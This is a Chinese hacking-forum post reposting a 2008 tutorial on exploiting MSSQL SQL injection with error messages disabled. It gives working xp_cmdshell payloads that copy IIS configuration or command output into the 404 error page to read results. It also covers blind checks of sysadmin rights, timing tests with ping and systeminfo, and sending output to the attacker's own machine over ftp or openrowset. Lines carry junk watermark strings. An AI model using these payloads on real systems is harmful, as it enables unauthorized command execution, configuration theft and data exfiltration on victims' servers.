找回密码
 立即注册
查看: 2385|回复: 0
打印 上一主题 下一主题

28度的冰注入技巧之(一)——404页面的妙用

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:15:42 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
遇到一个sa注入点,mssql错误提示关闭无疑shi让人郁闷的事情。
9 z0 P1 E, J* v) a& D8 W: s1 \  @  x5 M/ x# D$ y: u4 O2 J
  虽然错误提示关闭也shi可能以列目录,执行命令,但shishi多少就有些不方便。阿D就可能以在错误提示关闭的情况下列目录。
9 v) Q$ z4 F8 ^# y  x" W
- M6 |" }1 N* s* b: \3 t9 T- G" v  这里有一个很好的方法,让你得到web目录路径,让你得到服务器上的文件,让你执行命令得到回显。5 P" Z/ M+ M9 `, \& C! H
" _$ A- `  e- j
  IIS,404页面的默认路径shi C:\Windows\Help\iisHelp\common\404b.htm
6 I7 _: ^$ \$ Q! E, m
: K2 Z4 J- B1 z, y  得到web路径exec master..xp_cmdshell ’copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm’--
9 C9 H. C( e3 \8 |$ M1 a$ l+ b. C, g4 R
  ,这shi20003,如果是2000的话,exec master..xp_cmdshell ’copy C:\Winnt\system32 \inetsrv\MetaBase.xml C:\Winnts\Help\iisHelp\common\404b.htm’--,在 MetaBase.xml存着IIS的很多信息。执行上面的语句之后,你再访问一下网站一个不存在的文件或目录,显示的就shiMetaBase.xml 的内容了。
+ d1 f+ p' V0 S0 z; e+ M/ `( B" h- U/ {, `) S- S8 H0 u: P
  执行命令得到回显
, s. M7 {; w% H+ J# l: ^% f+ Z1 m% r/ M: U4 D- q- c
  通过上面得到web路径的方法,你肯定很容易想到怎么得到回显了吧。 2003,exec master..xp_cmdshell ’ver >C:\Windows\Help\iisHelp\common \404b.htm’--如果是2000,exec master..xp_cmdshell ’ver >C:\Winnt\Help \iisHelp\common\404b.htm’--
& ^/ h2 i* Z; P. R: f
! p  C( I  N! L( o# i0 O  得到文件也shi相同,把文件copy到404b.htm就行了
7 A; T0 P7 E& _' H* G9 z' `% f: d- i  s6 b
  by 28ice, 2008/6/26/ B9 S6 Z. x) G

& D  V1 Y3 D* r  摘自 28度的冰! ^" n  H. N" U+ b4 [% H0 @
; }: N% z4 J  ~5 q
  盲注判断权限和操作系统版本
3 L" |$ j4 E4 X# d: d- X$ a
) U' x2 T* a9 u. w  首先第一个问题,如果错误提示关闭,怎么判断当前的权限shi否为sysadmin呢?/ h# c. c6 I6 A

  D. Y5 [, w$ N& v# C- ^  最简单的,可能以用这样的方法:
* [5 k: {1 Y- G" w# C( n& S7 J, R9 c% j8 r
  1=(select IS_SRVROLEMEMBER(’sysadmin’))+ n5 }& x0 Q, o, `% K9 b- g
% I, `; f4 d/ ]! ^8 j. T
  当然,有些情况下,这个方法并不奏效。# J! R9 F/ [( t3 p# R3 \. Z& T
" _6 r: @0 Y- y& w9 s* S
  既然shisa,我们就可能以通过执行命令判断,不过,既然错误提示关闭,那么执行的结果就很不容易拿到。: d  ^- V$ _/ A' B

/ j/ A" u4 v$ r* J, q  有个3办法可能以解决这个问题
& u  R( J* |0 d6 Q" g& S; `  I3 z" M9 @: d6 D: c* m) O% `2 l* k
  a.把执行结果写到404b.htm,具体请看我的上一篇文章
0 T' T! G, j/ D& O, k9 s' `  e$ N! w% D# O+ v
  b.执行ping 127.1 -n 10,看看页面shi否延迟10秒钟, R6 e( w. m% b3 g# A  K  x

, t, s6 A+ i* N" `  c.如果1433端口可能以连接,那干脆新建个sql登录$ g/ A& }" @  G9 `, s
* o* q% E% B: t
  d.如果大牛你shi公网Ip,openrowset,或者直接telnet,ftp到你自己的机子,说到这里,ftp还有别的用处,比如,把执行结果写到文件中,然后通过ftp传到你的机子上,这何尝不shi获得执行结果的一个好办法。当然,你可能能要用到ftp的-s参数
* {/ L, G% s# M0 k7 i% E
& w; [* j; D! e4 p  还有一个问题,怎么判断系统shi2000还shi2003?当然指的shi错误提示关闭的情况下6 |  \+ \- g- W2 [; d7 K  F

% {6 s1 U( L2 v  很简单  k8 M5 l- T6 }. j
3 G. o1 s- D1 f+ s- q
  执行systeminfo+ {8 z$ z! v8 H7 k  |9 N8 y

" o$ I1 T6 ?* x  O! u/ {  在xp/2003下才有这个命令,这个命令执行大概需要5秒钟时间。如果页面延迟5秒,就可能以进一步断定这shi2003(当然不排除2008的可能能性)。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表